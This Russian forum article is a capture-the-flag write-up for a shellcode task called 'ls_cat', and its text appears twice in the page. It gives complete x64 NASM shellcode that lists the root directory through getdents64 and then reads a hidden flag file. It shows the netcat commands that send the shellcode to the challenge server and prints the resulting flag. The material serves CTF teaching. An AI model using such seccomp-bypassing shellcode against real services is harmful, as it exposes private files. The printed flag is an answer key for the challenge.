🖐 Приветствую всех читателей Codeby.net 🖐
Это вторая часть цикла статей "Изучаем таски по написанию шелл-кодов". Сегодня мы изучим, как узнать какие файлы находятся в директории, и на основе полученной информации откроем нужный нам файл.
Прошлая часть -> Изучаем таски по написанию шелл-кодов
Описание таска ls_cat:
Название говорит само за себя: Нужно узнать, какие файлы находятся в корневой директории
Изучим программу ls_cat.elf
Программа
Воспользуемся
Появился новый разрешённый системный вызов
Системный вызов
При успешном выполнении возвращается количество прочитанных байтов. В конце каталога возвращается 0. При ошибке возвращается -1.
Напишем шелл-код
Разделим шелл-код на два отдельных файла:
Первый - это подобие программы
Второй - это программа
Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.
Напишем шелл-код, который выводит нам файлы и каталоги в корневой директории
Шелл-код (ls)
В этой части мы не будем разбирать, как можно передать структуру в шелл-код. В этом шелл-коде можно не передавать точные структуры системному вызову
Сохраняем код в
Компилируем в бинарный файл:
Испытываем программу на сервере:
Посмотрим на вывод программы:
При таком выводе читать файлы в каталоге совсем неудобно. Писать фильтрацию непечатных символов в шелл-коде не будем, так как эта фильтрация сильно увеличит размер шелл-кода. А шелл-коды должны быть небольшие!
В linux существует утилита tr. Команда tr (translate) используется в Linux в основном для преобразования и удаления символов. Она часто находит применение в скриптах обработки текста. Ее можно использовать для преобразования верхнего регистра в нижний, сжатия повторяющихся символов и удаления символов.
Синтаксис команды
Используем команду
В строке
Используем шелл-код из прошлой статьи, но заменим строку
Шелл-код (cat)
Сохраняем код в
Компилируем в бинарный файл:
Испытываем программу на сервере:
Вывод:
Флаг -
Проверка флага:
Спасибо за внимание
Это вторая часть цикла статей "Изучаем таски по написанию шелл-кодов". Сегодня мы изучим, как узнать какие файлы находятся в директории, и на основе полученной информации откроем нужный нам файл.
Прошлая часть -> Изучаем таски по написанию шелл-кодов
Описание таска ls_cat:
Ссылка скрыта от гостей
Название говорит само за себя: Нужно узнать, какие файлы находятся в корневой директории
/
, найти нужный нам файл и прочитать его содержимое.Изучим программу ls_cat.elf
Программа
ls_cat
почти идентична cat
. При попытке декомпилировать, появляется ошибка.Воспользуемся
seccomp-tools
для изучения запретов и разрушений: seccomp-tools dump ./ls_cat.elf
Появился новый разрешённый системный вызов
getdents64
.Системный вызов
getdents()
читает несколько структур linux_dirent
из каталога, на который указывает открытый файловый дескриптор fd
, в буфер, указанный в dirp
(указатель на директорию). В аргументе count
задаётся размер этого буфера. Второй аргумент - это указатель на буфер.При успешном выполнении возвращается количество прочитанных байтов. В конце каталога возвращается 0. При ошибке возвращается -1.
Ссылка скрыта от гостей
Напишем шелл-код
Разделим шелл-код на два отдельных файла:
Первый - это подобие программы
ls
.Второй - это программа
cat
, которую мы писали в прошлой части.
Ссылка скрыта от гостей
Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.
Напишем шелл-код, который выводит нам файлы и каталоги в корневой директории
/
. Шелл-код (ls)
C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для архитектуры x64
; int open(const char *pathname, int flags, mode_t mode);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
push 0x2 ; Кладём на стек номер системного вызова open
pop rax ; Забираем из стека номер системного вызова open в регистр rax
lea rdi, [rel +root_dir] ; Кладём указатель на метку с флагом в регистр rdi
xor edx, edx ; Обнуляем регистре rdx.
xor esi, esi ; Обнуляем регистре rsi.
syscall ; Системный вызов open
; ssize_t getdents64(int fd, void *dirp, size_t count)
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
mov rdi, rax ; Перемещаем в rdi файловый дескриптор, после открытия файла с помощью системного вызова open
push 0xd9 ;Кладём на стек номер системного вызова getdents64
pop rax ; Забираем из стека номер системного вызова open в регистр rax
sub rsp, 0x1000 ; Выделяем место в стеке для указателя на буфер с открытой директорией. Можно указать другое число.
mov rsi, rsp ; Перемещаем указатель на буфер с открытой директорией в регистр rsi.
mov rdx, 0x1000 ; Указываем размер буфера с открытой директорией
syscall ; Системный вызов getdents64
; ssize_t write(int fd, const void *buf, size_t count);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
mov rdi, rax ; Перемещаем в rdi файловый дескриптор, после получения файлов в директории с помощью системного вызова open
push 0x1 ; Номер системного вызова write
pop rax ; Забираем из стека номер системного вызова write в регистр rax
push 0x1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax.
syscall ; Системный вызов write
root_dir: ; Метка для адреса с строкой /. Вместо этой метки в программе будет адрес на эту строку.
db "/" ; Строка /
В этой части мы не будем разбирать, как можно передать структуру в шелл-код. В этом шелл-коде можно не передавать точные структуры системному вызову
getdents64
. Он будет работать, если мы просто напишем размер 0x1000
в команде sub rsp, 0x1000
и переместим указатель на буфер с открытой директорией в регистр rsi
командой mov rsi, rsp
.Сохраняем код в
shell.asm
Компилируем в бинарный файл:
nasm shell.asm -o shell
Испытываем программу на сервере:
cat shell | nc 109.233.56.90 11662
Посмотрим на вывод программы:
При таком выводе читать файлы в каталоге совсем неудобно. Писать фильтрацию непечатных символов в шелл-коде не будем, так как эта фильтрация сильно увеличит размер шелл-кода. А шелл-коды должны быть небольшие!
В linux существует утилита tr. Команда tr (translate) используется в Linux в основном для преобразования и удаления символов. Она часто находит применение в скриптах обработки текста. Ее можно использовать для преобразования верхнего регистра в нижний, сжатия повторяющихся символов и удаления символов.
Ссылка скрыта от гостей
Синтаксис команды
tr
не распознаётся у меня в zsh
, поэтому для этой команды я использую bash
.Используем команду
cat shell_my | nc 109.233.56.90 11665 | tr '\n' ' ' | tr -dc [:print:] | tr ' ' '\n'
. Она передаёт наш шелл-код программе на сервере, и в ответе от сервера пробелы заменяет на символы новой строки и убирает все непечатные символы.В строке
.dockerenvXetc:x0s3cr3t_f1l3_w1th_fl0g4task;varusr<tmp=run>opt?srv@mntArootproc(sysB8bootCH
виден интересный текст, похожий на название файла: s3cr3t_f1l3_w1th_fl0g
Используем шелл-код из прошлой статьи, но заменим строку
/flag
на /s3cr3t_f1l3_w1th_fl0g
.Шелл-код (cat)
C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для ахитектуры x64
sub rsp, 0x60 ; Выделяем место в стеке для флага. Можно указать другое число.
; int open(const char *pathname, int flags, mode_t mode);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
push 0x2 ; Кладём на стек номер системного вызова open
pop rax ; Забираем из стека номер системного вызова open в регистр rax
lea rdi, [rel +flag] ; Кладём указатель на метку с флагом в регистр rdi
xor edx, edx ; Обнуляем регистре rdx.
xor esi, esi ; Обнуляем регистре rsi.
syscall ; Системный вызов open
; ssize_t read(int fd, void *buf, size_t count);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
mov rdi, rax ; Перемещаем в rdi файловый дескриптор, после открытия файла с помощью системного вызова open
xor eax, eax ; Номер системного read (0) вызова в rax
mov rsi, rsp ; Передаём в rdi выделенное нами ранее место для флага.
push 0x60 ; Кладём на стек размер выделенного нами места
pop rdx ; Забираем из стека размер выделенного нами места в регистр rdx
syscall ; Системный вызов read
; ssize_t write(int fd, const void *buf, size_t count);
; arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)
push 1 ; Номер системного вызова write
pop rax; Забираем из стека номер системного вызова write в регистр rax
push 1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax
syscall ; Системный вызов write
flag: ; Метка для адреса с строкой /flag. Вместо этой метки в программе будет адрес на строку
db "/s3cr3t_f1l3_w1th_fl0g" ; Строка /s3cr3t_f1l3_w1th_fl0g
Сохраняем код в
shell_cat.asm
Компилируем в бинарный файл:
nasm shell_cat.asm -o shell_cat
Испытываем программу на сервере:
cat shell_cat | nc 109.233.56.90 11665
Вывод:
Shellcode: spbctf{8378ef99d4ec9d3e5080907157476840}�}���Tx�pӰ�sU��Yx�Illegal instructio
Флаг -
spbctf{8378ef99d4ec9d3e5080907157476840}
Проверка флага:
Спасибо за внимание
Последнее редактирование: